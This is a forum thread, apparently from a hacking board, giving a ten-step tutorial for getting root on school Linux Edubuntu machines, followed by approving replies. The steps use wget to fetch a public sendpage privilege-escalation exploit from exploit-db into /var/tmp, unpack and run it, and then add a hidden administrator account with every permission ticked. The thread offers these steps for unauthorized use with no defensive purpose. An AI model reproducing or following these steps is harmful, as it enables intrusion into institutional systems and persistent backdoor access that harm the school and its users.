[TuT] Make yourself root - If your school uses Linux Edubuntu :)

[Braco22]

Make yourself root on Linux Edubuntu

We are going to do this in 9-10 easy steps, where I'll try to be as clear and sound as simple as possible. Let's begin, shall we?

Step1: Log in with a user, for an example with student20
Step2: Start the terminal, by clicking Applications -> Accessories -> Terminal. It'll open a new terminal window
Step3: Type cd /var/tmp and then wget http://exploit-db.com/sploits/2009-linux...ge3.tar.gz. Wait for the download to finish.
Step4: After it reaches 100%, type tar -zxvf 2009-linux-sendpage3.tar.gz
Step5: After the files are unpacked, navigate to that directory by writing cd linux-sendpage3 in the terminal
Step6: Change the permissions, chmod +x *
Step7: Type ./run wait for it to execute, and then type bash
Step8: You are now root in the terminal, but now we want to make our own account, so we log in with our account as it will have full administration permissions, by typing adduser username in the terminal where username is the username you wish to choose.
Step9: Now write gksu users-admin on the terminal, and a new window will pop up. Select your new user and click the Parameters button and navigate to the Permissions tab tick/select all of the boxes
Step10: Now you are ready to log in with your new administrator account

This tutorial has been written by VanCliffe.
If you have any queries, feel free to PM me.
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[Tuskarr]

This is short, simple and great. Thanks for sharing the tutorial!

[r0yaL]

My school doesn't use, but thanks for sharing anyways. I am sure it will help a lot of people.

[Braco22]

No problem, Tuskarr glad I could help. It's really weird, from the people I've asked only two or three of them use Linux Edubuntu at their school. Don't really know if this will help most of you, but It's a nice tutorial overall.